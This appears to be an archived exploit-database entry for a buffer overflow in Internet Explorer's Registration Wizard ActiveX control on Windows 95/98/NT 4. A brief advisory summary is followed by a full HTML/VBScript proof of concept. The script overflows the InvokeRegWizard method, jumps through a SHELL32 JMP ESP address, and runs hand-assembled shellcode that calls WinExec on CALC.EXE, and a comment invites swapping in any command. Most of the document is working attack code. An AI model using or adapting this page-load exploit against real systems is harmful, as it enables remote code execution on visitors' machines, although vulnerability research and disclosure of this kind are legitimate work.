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2.6 KiB
Text
87 lines
No EOL
2.6 KiB
Text
Microsoft Internet Explorer 4.1/5.0 for Windows 95/Windows NT 4,Windows 98 Registration Wizard Buffer Overflow Vulnerability
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source: https://www.securityfocus.com/bid/671/info
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There is a buffer overflow in the Internet Explorer Registration Wizard control (regwizc.dll). This control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the control is run in a malicious manner.
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REGWIZC
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The Registration Wizard control used by Microsoft to
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register MS products also contains a buffer overrun in
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the 'InvokeRegWizard' method. When called with a long
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string, pre-pended with '/i', we can gain control of the
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RET address and exploit the control in a similar manner as
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the PDF control. This exploit will cause a 'Regwiz.log'
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file to be created in the temporary directory, and once
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again will execute CALC.EXE and terminate the host.
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<object classid="clsid:50E5E3D1-C07E-11D0-B9FD-
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00A0249F6B00" id="RegWizObj">
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</object>
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<script language="VbScript" ><!--
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msgbox("Registration Wizard Buffer Overrun" + Chr(10)
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+ "Written by Shane Hird")
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expstr = "/i
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
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'We overflowed to the RET point of the stack
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'No NULL's allowed so ret to <JMP ESP> in Shell32
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expstr = expstr & Chr(235) 'Address in SHELL32, Win98
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(7FD035EB) of JMP ESP
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expstr = expstr & Chr(53) 'You may need to use a
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different address
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expstr = expstr & Chr(208)
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expstr = expstr & Chr(127)
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'NOP for debugging purposes
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expstr = expstr + Chr(144)
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'MOV EDI, ESP
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expstr = expstr + Chr(139) + Chr(252)
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'ADD EDI, 19 (Size of code)
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expstr = expstr + Chr(131) + Chr(199) + Chr(25)
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'PUSH EAX (Window Style EAX = 41414141)
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expstr = expstr + Chr(80)
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'PUSH EDI (Address of command line)
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expstr = expstr + Chr(87)
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'MOV EDX, BFFA0960 (WinExec, Win98)
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expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) +
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Chr(191)
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'CALL EDX
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expstr = expstr + Chr(255) + Chr(210)
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'XOR EAX, EAX
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expstr = expstr + Chr(51) + Chr(192)
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'PUSH EAX
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expstr = expstr + Chr(80)
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'MOV EDX, BFF8D4CA (ExitProcess, Win98)
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expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248)
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+ Chr(191)
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'CALL EDX
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expstr = expstr + Chr(255) + Chr(210)
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'Replace with any command + 0 (automatically appended)
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expstr = expstr + "CALC.EXE"
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RegWizObj.InvokeRegWizard(expstr)
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--></script> |